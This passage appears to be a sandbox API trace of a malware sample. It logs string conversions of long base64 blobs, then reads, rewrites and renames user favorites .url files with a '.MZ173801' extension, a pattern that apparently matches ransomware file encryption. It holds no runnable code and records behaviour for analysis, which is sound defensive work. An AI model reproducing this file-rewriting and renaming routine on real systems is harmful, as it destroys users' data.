lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.547] GetCurrentThreadId () returned 0x9fc [0144.548] GetCurrentThreadId () returned 0x9fc [0144.548] GetCurrentThreadId () returned 0x9fc [0144.548] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0144.548] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x78856c, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0144.548] GetCurrentThreadId () returned 0x9fc [0144.548] GetCurrentThreadId () returned 0x9fc [0144.548] GetCurrentThreadId () returned 0x9fc [0144.549] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn money.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a8 [0144.549] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3ec*=0) returned 0x0 [0144.549] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0144.549] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x85 [0144.549] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0144.549] ReadFile (in: hFile=0x2a8, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f3f8, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f3f8*=0x85, lpOverlapped=0x0) returned 1 [0144.550] CloseHandle (hObject=0x2a8) returned 1 [0144.550] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn money.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a8 [0144.551] WriteFile (in: hFile=0x2a8, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x18f404, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f404*=0x85, lpOverlapped=0x0) returned 1 [0144.552] CloseHandle (hObject=0x2a8) returned 1 [0144.553] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn money.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Money.url.MZ173801" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn money.url.mz173801")) returned 1 [0144.553] GetCurrentThreadId () returned 0x9fc [0144.553] GetCurrentThreadId () returned 0x9fc [0144.553] GetCurrentThreadId () returned 0x9fc [0144.553] GetCurrentThreadId () returned 0x9fc [0144.553] GetCurrentThreadId () returned 0x9fc [0144.553] GetCurrentThreadId () returned 0x9fc [0144.554] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.554] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.554] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn sports.url"), fInfoLevelId=0x0, lpFileInformation=0x18f438 | out: lpFileInformation=0x18f438*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0144.556] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.556] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.557] GetCurrentThreadId () returned 0x9fc [0144.557] GetCurrentThreadId () returned 0x9fc [0144.557] GetCurrentThreadId () returned 0x9fc [0144.557] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0144.557] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x78856c, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0144.558] GetCurrentThreadId () returned 0x9fc [0144.558] GetCurrentThreadId () returned 0x9fc [0144.558] GetCurrentThreadId () returned 0x9fc [0144.558] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn sports.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a8 [0144.558] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3ec*=0) returned 0x0 [0144.558] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0144.558] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x85 [0144.558] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0144.558] ReadFile (in: hFile=0x2a8, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f3f8, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f3f8*=0x85, lpOverlapped=0x0) returned 1 [0144.559] CloseHandle (hObject=0x2a8) returned 1 [0144.560] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn sports.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a8 [0144.561] WriteFile (in: hFile=0x2a8, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x18f404, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f404*=0x85, lpOverlapped=0x0) returned 1 [0144.562] CloseHandle (hObject=0x2a8) returned 1 [0144.562] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn sports.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Sports.url.MZ173801" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn sports.url.mz173801")) returned 1 [0144.562] GetCurrentThreadId () returned 0x9fc [0144.563] GetCurrentThreadId () returned 0x9fc [0144.563] GetCurrentThreadId () returned 0x9fc [0144.563] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.563] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.563] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn.url"), fInfoLevelId=0x0, lpFileInformation=0x18f438 | out: lpFileInformation=0x18f438*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0144.567] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZB